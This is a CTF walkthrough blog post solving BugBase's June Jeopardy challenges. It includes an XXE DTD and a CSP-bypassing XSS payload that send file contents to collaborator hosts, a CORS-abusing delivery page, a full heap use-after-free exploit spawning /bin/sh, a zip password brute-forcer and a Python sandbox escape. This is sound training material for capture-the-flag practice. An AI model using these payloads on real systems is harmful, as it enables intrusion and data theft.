Exploit

June Jeopardy - Walkthrough

As a part of our monthly CTF cycle we organized June Jeopardy CTF where over 350+ hackers participated to fight for the top 10 positions. This is a walk through of the june jeopardy CTF.

by Tuhin Bose

July 04, 2023

18 min read

i. Free Flag#

Opening the link will redirect us to BugBase's discord server. From the announcement channel, we can directly get the flag.

ii. CookBot#

Analysing the binary#

Check Sec#

As we can see that PIE and NX are disabled, which is a always good sign to go ahead with shell coding.

Let's take a look at the source code.

Code#

#include <stdio.h>
#include <seccomp.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

void setup() {
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
}

void setup_seccomp_filter() {

    
    scmp_filter_ctx ctx;
    int ret;

    ctx = seccomp_init(SCMP_ACT_KILL); 
    if (ctx == NULL) {
        perror("seccomp_init failed");
        return;
    }

    ret = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0);
    if (ret != 0) {
        perror("seccomp_rule_add 1 failed");
        seccomp_release(ctx);
        return;
    }

    ret = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(sendflag), 0);
    if (ret != 0) {
        perror("seccomp_rule_add 2 failed");
        seccomp_release(ctx);
        return;
    }

   
    ret = seccomp_load(ctx);
    if (ret != 0) {
        perror("seccomp_load failed");
        seccomp_release(ctx);
        return;
    }

    seccomp_release(ctx);


}

int check(char *inp) {
	
	char *blacklist = "\x48\x66\xeb\xcd\x80\x0f\x05\xb0\xb2\xb4\xb6\xb8\xb9\xba\xbe\xbf\xff\x31\x83\xc0\xc2\xc4\xc6\xc7\xe8\xec\xee\xef\xea";
	if(strpbrk(inp,blacklist) != NULL){
		return 0;
	}
	else {
		return 1;
	}

}

int main() {
	setup();
	printf("Welcome to our AI cookbot");
	printf("\nHere's how it works, just give it a recipe to cook and it'll do the rest of job for you\nBon Apetit ;)\nEnter your recipe: ");
	char recipe[58];
	read(0,recipe,58);
	if(check(recipe)){
		setup_seccomp_filter();
		((void (*)())recipe)();
	}else{
		printf("That's a bad recipe!!!\n");
	}
}

So it's time for shellcoding! We have to craft a shellcode that should not include these "\x48\x66\xeb\xcd\x80\x0f\x05\xb0\xb2\xb4\xb6\xb8\xb9\xba\xbe\xbf\xff\x31\x83\xc0\xc2\xc4\xc6\xc7\xe8\xec\xee\xef\xea" opcodes and also using only two syscalls openat and sendfile.
This means that most of the instructions (xor, mov rdi...) which are crucial for shellcoding are not available to us.
....At least that's what the challenge looks at first sight.

But turns out that the function which is used to filter the shellcode is flawed in itself. The strpbrk function stops scanning on null byte! So we don't really need to be clever with the shellcode, we can just insert an instruction that ends up in null bytes and has allowed characters. For example, mov ebx,1 and then we can comfortably use any instructions we want.

All that remains is crafting the payload!

This is the final payload. As you can notice, the first instruction ends in null bytes and has the allowed characters before the null bytes.
Following which, we make two syscalls, the first one is openat, which opens the file flag.txt which is present in the current directory as specified in the dirfd argument(rdi) to the syscall, and returns it's descriptor in rax, this descriptor is then used in the next sendfile syscall which then sends 256 bytes(or upto EOF) to the standard output. That spits out our flag!

iii. Water Cooler#

Concept#

This challenge was based on the "ECB Penguin" concept. In a gist, it means that AES in ECB mode acts as a "code book" which when loosely translated means it will encrypt the same block of data in the same way.

As an example, encrypting the following Linux Penguin in AES ECB mode gives us,

We can make out the image due to the residue left behind even after encryption.

Solution#

python

from PIL import Image
import numpy as np

ct = open("water_cooler.png.enc", "rb").read()
arr = np.array(list(ct), dtype=np.uint8)
print(arr.shape)
arr = arr.reshape((25*3*4, 2*19*79, 4))
img = Image.fromarray(arr)
img.save("flag.png")

We need to load the encrypted image by reshaping the array back into the correct dimensions. One way to do this is to factorize the length of the array.

Length of the array = 3602400
Divided by 4 for RGBA channels = 900600
Factors of 900600 = 2^3^x 3 x 5^2^ x 19 x 79
By trial and error, we find the size to be (2534, 21979) or (300, 3002).

Flag: BugBase{just_st0p_us1ng_ECB_please}

iv. BugBase Admin Panel#

P.S: Hints are added after 36 hours of the release.

Opening the URL will take us to an admin login page where we have no clue about the username/password. Let's have a look at the source code:

From here, we get the username tuhin1729. Now we need only the password.

A simple directory bruteforcing will reveal this:

However, since directory listing is not available, we can't fetch the entire .git directory. Let's have a look at the file .git/config

[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
[remote "origin"]
	url = https://github.com/sivadathdev/templates/
	fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
	remote = origin
	merge = refs/heads/main

Opening the GitHub repository URL will reveal that it contains only the HTML templates used in the application. However, there are a couple of commits that drew our attention. Let's take a look at the commits individually,

So, we've got the username & password. Now let's log in to the original application using these credentials.
After logging in, we encountered the following portal from where the admin can send emails to the investors.

Upon submitting the form, the data will be sent to the /send endpoint as XML.

Looking at the request body, the first thing which comes to our mind is XML External Entity (XXE). However, since we can't see the output directly, the exploitation will be harder. Our goal is to fetch the content of the file /flagbugbase1.txt. So, we'll try to craft an XXE payload that will read the content of /flagbugbase1.txt and send it to our collaborator server.
For this, first, we'll store the following dtd file in our server

python

<!ENTITY % file SYSTEM "file:///flagbugbase1.txt">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://738hw2hdlj4b6arncldezarqehk88ywn.oastify.com/?%file;'>">
%all;

Next, we'll try to invoke this external DTD within our XML payload.

Let's check if we got something in our collaborator,

Decoding the base64 encoded value will give us the flag.

v. ROCK#

The given URL takes us to a password-protected zip file that contains a pcap file. Let's try bruteforcing the zip password.

We'll use the following python code for that:

python

import zipfile

def crack_password(password_list, obj):
	idx = 0
	with open(password_list, 'rb') as file:
		for line in file:
			for word in line.split():
				try:
					idx += 1
					obj.extractall(pwd=word)
					print("Password found at line", idx)
					print("Password is", word.decode())
					return True
				except:
					continue
	return False


password_list = "/usr/share/wordlists/rockyou.txt"

zip_file = "ctf_pcap.zip"


obj = zipfile.ZipFile(zip_file)


cnt = len(list(open(password_list, "rb")))

print("There are total", cnt,
	"number of passwords to test")

if crack_password(password_list, obj) == False:
	print("Password not found in this file")

We'll use rockyou.txt for bruteforce.

Now let's use the password to extract the zip file.
Opening the pcap file in Wireshark will show a lot of noisy requests. First, we'll try to filter all the HTTP requests.

The POST request seems interesting. Digging deeper into this request we can clearly see the username & password.

Flag: BugBase{n0_0n3_c4n_h4ck_m3}

vi. Tornado Crypto#

Concept#

This challenge was based on Letter Frequency Analysis. The seemingly useful binary, hex, base64 data and other encrypted data using various ciphers had actually nothing to do with decoding/decrypting them.

Instead, it was actually deceptive. Upon closer inspection, it will be clear that the number of unique encoded/encrypted segments is 26. Which hints that each segment is mapped to a unique letter.

Using this concept, after assigning each segment a unique letter, and replacing, and removing the newlines, we get the following text:

ylu pylql! tjbylqn, uvo rfvh? pylu twf qlwiiu zlnn hjpy uvoq ylwc. jp'n ijrl pylu'ql biwujfa pqjtrn vf on. vfl zvzlfp uvo pyjfr uvo'dl tqwtrlc jp, wfc pyl flkp, gwz! cltlbpjvf npqjrln. gop ylu, ylql'n pyl xiwa wfuhwu, hqwb jp jf xiwa xvqzwp wfc svjf hjpy ofclqntvqln - tjbylqn twf gl cltjldjfa. rllb pywp jf zjfc wn uvo fwdjawpl pyl hvqic vx tvcln wfc boeeiln. ywbbu cltjbylqjfa!

Putting this in https://quipqiup.com/ we get the plaintext back:

hey there! ciphers, you know? they can really mess with your head. it's like they're playing tricks on us. one moment you think you've cracked it, and the next, bam! deception strikes. but hey, here's the flag anyway, wrap it in flag format and join with underscores - ciphers can be decieving. keep that in mind as you navigate the world of codes and puzzles. happy deciphering!

Flag: BugBase{ciphers_can_be_decieving}

vii. Welcoming Hackers As A Service#

Opening the URL will lead us to a simple web page where we can enter our hacker alias & it'll show a unique welcome message for us.

Let's take a look at the source code:

We got an HTML comment. Opening the /bugs endpoint will reveal the following page:

Once we submit the form, it'll show the message: Thank you for your feedback. An image of the endpoint is saved in our system. We'll look into it ASAP.
Now let's get back to the home page. We'll start by trying HTML Injection using a simple payload <h1>bugbase</h1>.

So there is no sanitization on the alias parameter value. However, when we were trying to get XSS, the CSP blocked us. Let's analyze the CSP at https://csp-evaluator.withgoogle.com/

A little google search took us to this GitHub repository: https://github.com/zigoo0/JSONBee.

Our goal is to craft an XSS payload that will fetch the content of /flag & send it to our collaborator server.

python

<script src="https://m.addthis.com/live/red_lojson/100eng.json?callback=fetch(String.fromCharCode(...[47,102,108,97,103])).then(function%20a(da){return%20da.text()}).then(function%20b(c){%20window.location%20=%20String.fromCharCode(...[104,%20116,%20116,%20112,%20115,%2058,%2047,%2047,%20111,%2053,%20117,%20101,%20121,%2054,%20108,%2098,%20105,%2098,%20115,%2053,%20113,%20110,%2099,%20103,%20103,%2048,%2099,%20118,%2049,%20119,%2057,%2053,%20122,%20119,%2053,%20109,%20116,%2098,%2046,%20111,%2097,%20115,%20116,%20105,%20102,%20121,%2046,%2099,%20111,%20109,%2047,%2063,%20102,%20108,%2097,%20103,%2061]).concat(c)});j=">

Now the problem is even if the payload works, we won't be able to send it to admin since it's a POST request with JSON body too!

After spending a couple of minutes, we discovered that there is CORS Misconfiguration in the application,

So now we can simply craft a JavaScript code that will send a JSON request to the server. Since CORS is misconfigured so the browser will allow us to do so.

html

<!DOCTYPE html>
<html>
   <head>
      <script>
            var xhttp = new XMLHttpRequest();
                xhttp.onreadystatechange = function() {
                    if (this.readyState == 4 && this.status == 200) {
                        var response = xhttp.responseText;
                        document.write(response);
            }
         };

         //Create a JSON object
         const json = {"alias":"<script src='https://m.addthis.com/live/red_lojson/100eng.json?callback=fetch(String.fromCharCode(...[104, 116, 116, 112, 58, 47, 47, 49, 54, 53, 46, 50, 51, 50, 46, 49, 57, 48, 46, 53, 58, 50, 48, 48, 48, 47, 102, 108, 97, 103])).then(function%20a(da){return%20da.text()}).then(function%20b(c){%20window.location%20=%20String.fromCharCode(...[104,%20116,%20116,%20112,%20115,%2058,%2047,%2047,%20112,%2051,%20116,%2051,%2097,%2054,%2057,%2056,%20108,%20120,%20107,%20122,%20122,%20120,%20105,%20115,%20115,%2097,%20119,%20113,%20107,%20120,%2055,%20112,%20122,%20103,%2053,%2055,%20116,%20120,%20104,%20109,%2046,%20111,%2097,%20115,%20116,%20105,%20102,%20121,%2046,%2099,%20111,%20109,%2047,%2063,%20102,%20108,%2097,%20103,%2061]).concat(c)});j='>"}
         xhttp.open('POST', 'http://165.232.190.5:2000/');
         xhttp.setRequestHeader("Content-Type"," application/json")

         xhttp.withCredentials = true;
         xhttp.send(JSON.stringify(json));

      </script>

   </head>
   <body>
qwerty
   </body>
</html>

Now we need to host it in our server & put the URL of the file in the /bugs endpoint.

viii. CIO sitting in a cafe#

We are given 2 links, one is the URL of the BugBase Website Manager portal & another one is the recording of the cafe. Once we play the audio, we can identify that it's a DTMF tone. Let's try to decode it,

Now we'll convert the numbers into the actual password:

So the final password will be bugboil.
Now we need only the username. Let's take a look at the source code of the BugBase Website Manager,

Using the username & password, we can directly login to the portal & get the flag.

Messenger#

Analyzing the binary#

Check Sec#

So we can see that the binary has pretty much all the protections turned on, except PIE.

File#

Source Code#

Without wasting much time decompiling the binary in ghidra, I will provide the source code.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <time.h>

#define NUM_MESSAGES 10

const char* SYSTEM_MESSAGES[] = {

    "Account Verification Required",
    "New Message Notification",
    "Account Update Confirmation",
    "Important Announcement",
    "Account Deactivation Notice",
    "Welcome to Messenger App",
    "Message Sent Successfully",
    "Chat Backup Completed",
    "Notification Settings Updated",
    "Friend Request Received"
};

#define SIZE 10

typedef struct {

    char key[16];
    char idx;

} KeyValuePair;

int users_idx = 0;

typedef struct UserAc {

        time_t time_of_onboarding;
        long int uuid[8];
        char email_addr[16];
        char password[8];
        char u_name[16];
        char system_messages[7][64];
        char messages[10][64];
        KeyValuePair *data[SIZE];

} user_ac;

user_ac *users[8] = {NULL};

void setup() {

        setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    for(int i=0;i<8;i++){
        users[i]=NULL;
    }

}

int hash(char* key) {
        int sum = 0;
        for (int i = 0; key[i] != '\0'; i++) {
            sum += key[i];
        }
        return sum % SIZE;
    }

int menu() {

        int choice;

        do{

                printf("1.) Log in \n");
                printf("2.) Register \n");
                printf("3.) Exit\n");
                printf("\nEnter your choice: ");
                scanf("%d",&choice);

        }while(choice > 3 || choice <= 0);

        return choice;

}

int logged_in_menu(char *uuid){

        int choice;

        do{
                printf("\tWelcome %s\n\n",users[hash(uuid)%8]->u_name);
                printf("1.) Msg a friend \n");
                printf("2.) View inbox \n");
                printf("3.) View System notifications\n");
                printf("4.) Provide Feedback\n");
                printf("5.) Delete Account [ Dangerous ]\n");
                printf("6.) Log out \n");
                printf("\nEnter your choice: ");
                scanf("%d",&choice);
                getchar();

        }while(choice > 6 || choice <=0);

}

char *generate_system_msg(){


    int index = rand() % NUM_MESSAGES;
    return (char*)SYSTEM_MESSAGES[index];

}

char* generateUUID(char *uuid) {
    srand(time(NULL));

    for (int i = 0; i < 7; i++) {
        int randomDigit = rand() % 16;  // Generate a random number between 0 and 15
        sprintf(uuid + i, "%X", randomDigit);  // Convert the digit to hexadecimal and store it in the UUID string
    }
    (uuid)[7] = '\0';  // Add the null-terminating character at the end

}

void onboarding() {

        char username[24],email[24];
        long hsh;
        memset(username,'\0',16);
        memset(email,'\0',16);

        user_ac *new = (user_ac *)malloc(sizeof(user_ac));
        for(int i=0; i<7;i++) {

        char *msg = generate_system_msg();
        memcpy(new->system_messages[i],msg,strlen(msg));

    }

        printf("\nHello Friend.....Hello Friend!?!?\n\n\t<Enter a Mr Robot Meme here>\n\n");
        printf("Enter your User name: ");
        read(0,username,16);
        printf("Enter your Email address: ");
        read(0,email,15);
        char uuid[8];
        memset(uuid,'\0',8);
        generateUUID(uuid);
        printf("Enter your Password: ");
        char password[8];
        read(0,password,8);

        time_t currentTime;
        time(&currentTime);

        memcpy(new->uuid,uuid,8);
        new->time_of_onboarding = currentTime;
        memcpy(new->u_name,username,strlen(username));
        memcpy(new->email_addr,email,strlen(email));
        memcpy(new->password,password,strlen(password));
        hsh = hash(uuid)%8;
    users[hsh]=new;
    printf("\nOnboarding process successfully completed!!!\nYour uuid is: %s\n\n",uuid);

}

void login(char *uuid){

        printf("Enter uuid: ");
        char uuid_inp[8];
        scanf("%8s",uuid_inp);
        user_ac *u = users[hash(uuid_inp)%8];
        if(u !=NULL) {

                printf("Enter your password: ");
                char password[8];
                read(0,password,8);
                if(memcmp(password,u->password,8)==0){
                        printf("\n\tLog in successful!\n\n");
                        memcpy(uuid,uuid_inp,8);
                }else {
                        printf("\n\tPassword incorrect,Log in failed!\n\n");
                }

        }else {
                printf("\n\tLog In failed : No Such user\n\n");
        }


}

void msg_friend(){

        printf("Enter the uuid of your friend: ");
        char uuid[8];
        fgets(uuid,8,stdin);
        getchar();
        user_ac *u = users[hash(uuid)%8];

        if(u==NULL){
                printf("No such account!\n\n");
                return;
        }

        printf("Enter the msg title: ");
        char title[16];
        fgets(title,16,stdin);
        u->data[hash(title)%SIZE]=(KeyValuePair*)(malloc(sizeof(KeyValuePair)));
        memcpy((u->data[hash(title)%SIZE])->key,title,strlen(title));
        (u->data[hash(title)%SIZE])->idx= hash(title)%SIZE;
        char msg[64];
        printf("Enter your message: ");
        fgets(msg,64,stdin);
        memcpy(u->messages[hash(title)%SIZE],msg,64);
        printf("\n\tMESSAGE SENT SUCCESSFULLY\n");

}

void dlt_usr(char *uuid) {

        printf("Are you sure you want to dlt this account?[y?]: ");
        char i=getchar();

        if(i=='y') {
                free(users[hash(uuid)%8]);
                printf("\n\n\tAccount deleted successfully!\n\n");

        }else {

                printf("\nPhewww!\n\n");

        }


}

void view_inbox(char *uuid) {

        puts("\n\n\t***OPENING INBOX***");
        user_ac *u = users[hash(uuid)%8];
        KeyValuePair *nxt_msg;
        for(int i=0;i<SIZE;i++){
                nxt_msg = u->data[i];
                if(nxt_msg != NULL) {
                        printf("\nMsg Title:  %s\n",nxt_msg->key);
                        printf("Msg Content: %s\n\n",u->messages[nxt_msg->idx]);
                }

        }

}

void view_system_messages(char *uuid) {

        puts("\n\n\t***OPENING SYSTEM MESSAGES***");
        user_ac *u = users[hash(uuid)%8];
        for(int i=0;i<7;i++){

                printf("\n[ SYSTEM ] : %s\n",u->system_messages[i]);

        }
        puts("\n");

}

int main() {
        srand(time(NULL));
        char feedback[560];
        setup();
        int logged_in=0;
        char uuid[8];
        memset(uuid,'\0',8);
        while (1){
                if(logged_in) {

                        switch(logged_in_menu(uuid)){

                                case 1: //
                                        msg_friend();
                                        break;

                                case 2: // view user inbox
                                        view_inbox(uuid);
                                        break;

                                case 3: // view system messages
                                        view_system_messages(uuid);
                                        break;

                                case 4: // provide feedback
                                        printf("\n\tWe value your feedback deeply!\n\n");
                                        printf("Enter your feedback: ");
                                        fgets(feedback, 560, stdin);
                                        printf("\nYour feedback will be due diligently considered by our team\n");
                                        break;

                                case 5: //delete user
                                        dlt_usr(uuid);
                                        memset(uuid,'\0',8);
                                        logged_in=0;
                                        break;

                                case 6: //logout
                                        memset(uuid,'\0',8);
                                        logged_in=0;
                                        printf("\n\n\tLogged Out successfully!\n\n");
                                        break;

                                default:
                                        break;
                        };

                }else{
                        switch(menu()) {
                                case 1:
                                        login(uuid);
                                        if(memcmp(uuid,"\0\0\0\0\0\0\0\0",8)) {
                                                logged_in = 1;
                                        }
                                        break;
                                case 2:
                                        onboarding();
                                        break;
                                case 3:
                                        printf("\n\n\n Auf Wiedersehen! :)");
                                        return 0;
                                default:
                                        break;

                        };
                }
        }



}

This is a simple messaging application, with a lot of bugs! Let's analyze the bugs one by one

UAF#

Write After Free#

There is an easy Use After Free in the msg_friend function. As there is no check on whether the user has been deleted or not before sending the message. Which allows us to send messages to users even after we delete the account.

Read After Free#

We can also log in and read the inbox, i.e., the messages sent to any particular user even after their account is deleted.

Writing the Exploit#

Let's now jump to the exploit

python

#!/usr/bin/python3

from pwn import *
import time

libc = ELF('libc.so.6', checksec=False)
r=process('./chall_patched')

info = lambda msg: log.info(msg)
sla = lambda msg, data: r.sendlineafter(msg, data)
sa = lambda msg, data: r.sendafter(msg, data)
sl = lambda data: r.sendline(data)
s = lambda data: r.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())

def onboarding(name = b'test', email = b'test', passwd = b'test'):
    sln(b'choice: ', 2)
    sa(b'name: ', name)
    sa(b'address: ', email)
    sa(b'Password: ', passwd)
    r.recvuntil(b'uuid is: ')
    uuid = r.recvline(False)
    return uuid

def msg_friend(uuid_fr, msg_title, your_msg):
    sln(b'choice: ', 1)
    sla(b'friend: ', uuid_fr)
    sla(b'title: ', msg_title)
    sla(b'message: ', your_msg)

def dlt_usr():
    sln(b'choice: ', 5)
    sla(b'[y?]: ', b'y')

def view_inbox():
    sln(b'choice: ', 2)

def view_system_messages():
    sln(b'choice: ', 3)
    
def log_out():
    sln(b'choice: ', 6)

def login(uuid, passwd = b'test'):
    sln(b'choice: ', 1)
    sla(b'uuid: ', uuid)
    sa(b'password: ', passwd)

uuid = []
uuid.append(onboarding())
print(uuid)
login(uuid[0])
msg_friend(uuid[0], b'hello', b'hello')
dlt_usr()

login(uuid[0])
msg_friend(uuid[0], b'\x00', b'hello')
view_inbox()
r.recvuntil(b'Title:  ')
libc.address = u64(r.recv(6).ljust(8, b'\x00')) - 0x3ec0d0
info(hex(libc.address))

for i in range(20): msg_friend(uuid[0], b'hello', b'hello')
time.sleep(2)
msg_friend(uuid[0], b'hello', p64(0x20) + p64(0x511) + p64(libc.address+0x3ebca0)*2)

log_out()
uuid.append(onboarding())
login(uuid[0], p64(0x21))
print(uuid)
msg_friend(uuid[0], b'hello', p64(0) + p64(0x21) + p64(0)*3 + p64(0x21))
log_out()
login(uuid[1])
dlt_usr()

login(uuid[0], p64(0x21))
dlt_usr()

login(uuid[0], p64(0x21))
msg_friend(uuid[0], b'hello', p64(0) + p64(0x21) + p64(0)*2)
log_out()
login(uuid[1])
dlt_usr()

login(uuid[0], p64(0x21))
dlt_usr()
login(uuid[0], p64(0x21))
msg_friend(uuid[0], b'hello', p64(0) + p64(0x21) + p64(libc.sym['__free_hook']))
msg_friend(uuid[0], b'/bin/sh\x00', p64(0) + p64(0x21) + p64(libc.sym['__free_hook']))
msg_friend(uuid[0], p64(libc.sym['system']), p64(0))
log_out()

login(uuid[1])
dlt_usr()

r.interactive()

Firstly, we create and delete a user, this will cause the malloced user chunk(size=0x510) to enter into unsorted bin.

And Here is the chunk in memory.

Now when we delete it, we can see that it went to the unsorted bin.

Leaking libc address#

After deleting the user, when we send a message, the malloc call for the message 'title' borrows it's chunk from the large user chunk which just got freed. and gets placed right at the start of the user chunk. This allows us to leak the libc address which is stored at the forward and backward pointers of the unsorted bin chunk by sending a message with an empty title and then reading the inbox (Read After Free).

So now we have the libc leak. What's next?

Now we notice that whenever we try to send a msg, the title malloc borrows chunks from the memory region of the previously allocated user struct. So we send 20 messages repeatedly to fill up to the first index of the user_ac->messages array. And then we forge an unsorted bin chunk by writing the prev_size and nxt_size at the position of the first message(Write after Free). As shown in the image

Now if we create another user, it will return a pointer to this memory region i.e the address 0x1ab2520.

Now we will forge the size of this newly malloced chunk to 0x21 by sending a message with the title \x00 to target the first message in the array.

We will then delete this newly created user so that the address 0x1ab2520 ends up in the tcache. Notice that we are basically creating a setup for tcache poisoning.

Now we will need to delete the first user again, which at this point is just pointing to a 'title' malloc allocation. This is done to avoid the msg_friend to cause an allocation at the address 0x1ab2520. Then we send a message, resetting the size of the forged chunk at 0x1ab250 to 0x21, before freeing it for one more time. This will cause a loop in tcache bin and we can allocate a chunk at 0x1ab250 without removing it from the tcache.

This is what the following code of the exploit does.

python

login(uuid[1])
dlt_usr()

login(uuid[0], p64(0x21))
dlt_usr()

login(uuid[0], p64(0x21))
msg_friend(uuid[0], b'hello', p64(0) + p64(0x21) + p64(0)*2)
log_out()
login(uuid[1])
dlt_usr()

login(uuid[0], p64(0x21))
dlt_usr()

Finally, we are ready to perform tcache poisoning. By sending a mesage to 0th index, ie. the address 0x1ab2510, and we poison the fwd pointer to point to the address of __free_hook.

Now, in the following piece of code, we poison the tcache, which will then return the next pointer of malloc to __free_hook and we will populate it to the address of system function. Also, since there was a loop in tcache, the first pointer returned would be to the first message itself and we set the title as /bin/sh\x00, so when we ultimately call free, it gets called with the argument of /bin/sh instead of the pointer to the chunk free("/bin/sh"). And it ultimately executes system("/bin/sh") due to __free_hook, dropping us with a shell!

msg_friend(uuid[0], b'hello', p64(0) + p64(0x21) + p64(libc.sym['__free_hook']))
msg_friend(uuid[0], b'/bin/sh\x00', p64(0) + p64(0x21) + p64(libc.sym['__free_hook']))
msg_friend(uuid[0], p64(libc.sym['system']), p64(0))
log_out()

login(uuid[1])
dlt_usr()

And Voila!

Cave Python#

As we can see that some inputs are restricted while some are allowed and produce Python errors. Bruteforcing each character and special characters we find that the challenge is implementing a whitelist.

[i,a,s,c,n, ' , ', r, h, t, /, ( , ), [, ], +, -]

Now we can try to eval some functions that are allowed in this restricted charset, for eg: chr(),int()

so we can see that it is trying to evaluate our input(if it gets accepted).

we also don't have access to numbers, so we can't use chr() to our advantage. So we have the following functions available to us for use.

ascii
chr
hasattr
hash
int
str

The hash function is of interest to us as we can get some numbers with it.

hash() produces large integers when given function names as input. The integer values are nothing but the memory address of those functions

So we can get our hands on '1' and '0' using hash(())/hash(()) and int() respectively. We can use this in conjunction with 'ascii()' and the `chr()' function to give us access to unrestricted input for the second eval.
Here is the action plan:

Using the int function and 1's and 0s', we will give the ascii code points of characters in binary format, as we have access to 1s and 0s only
These ascii points will then be evaluated by chr() function to produce an output that will be then evaluated by the next eval...

The below script does just that...

python

from pwn import *

r = remote("165.232.190.5",1339)
r.recvuntil(b'>')

def lvl1(inp):
	word=""
	for i in inp:
		char = "ascii(int())"
		b = bin(ord(i))[2:]
		for bit in b:
			if bit == '1':
				char += '+ascii(hash(())//hash(()))'
			elif bit == '0':
				char += '+ascii(int())'
		word += f"chr(int({char},(hash(())//hash(())+hash(())//hash(()))))+"

	print(eval(word[:-1]))
	
	return word[:-1].encode()

r.sendline(lvl1("print(eval)"))
r.interactive()

So using this script we try out various helpful functions: exec ,eval etc.
Turns out they are blacklisted ...

let's check the globals array

python

r.sendline(lvl1("print(globals())")) 

There's a suspicious blackflag function 🤔. Let's try to execute it...

Voila...There's our flag!!

Following is the challenge code:

python

import sys
import time

LVL_1_WHITELIST = ['i','a','s','c','n',',','r','h','t','/','(',')','[',']','+','-']
LVL2_BLACKLIST_WORDS = ['__builtins__', '__import__', 'eval', 'exec', 'import', 
'from', 'os', 'sys', 'system', 'timeit', 'base64commands',
 'subprocess', 'pty', 'platform', 'open', 'read', 'write',
 'dir', 'type','input','breakpoint']
LVL2_BLACKLIST_CHARS = ('.', '_', '/', '"', ';', ' ', "'", ',','[',']')

def blackflag():

	FLAG =  "BugBase{n0t_h4rd_f0r_th3_l33t_aut0m4t3rs_4afe32}"
	print(f"Congratulations on finding the FLAG: {FLAG}")

def loop():

	inp = input('> ')
  
	try:
		for i in inp:
			if i not in LVL_1_WHITELIST:
  				print(f"Eh- I am not expecting that: {i}")
  				return

		lvl1 = eval(inp)
		print("Are you ready for lvl2 ?")

		for i in LVL2_BLACKLIST_WORDS:
			if i in lvl1:
				print(f"Eh- I am not expecting that: {i}")
				return
		for i in LVL2_BLACKLIST_CHARS:
  			if i in lvl1:
  				print(f"Eh- I am not expecting that: {i}")
  				return

		print(f"[+] Evaluating {lvl1}")

		lvl2 = eval(lvl1)

	except Exception as e: print(f'Error: {e}\n')

if __name__ == '__main__':
 
  while True: loop()

Summarize with AI: What Pentest Copilot Does

Summarize with AI: What Pentest Copilot Does

June Jeopardy - Walkthrough

i. Free Flag#

ii. CookBot#

Analysing the binary#

Check Sec#

Code#

iii. Water Cooler#

Concept#

Solution#

iv. BugBase Admin Panel#

v. ROCK#

vi. Tornado Crypto#

Concept#

vii. Welcoming Hackers As A Service#

viii. CIO sitting in a cafe#

Messenger#

Analyzing the binary#

Check Sec#

File#

Source Code#

UAF#

Write After Free#

Read After Free#

Writing the Exploit#

Leaking libc address#

Cave Python#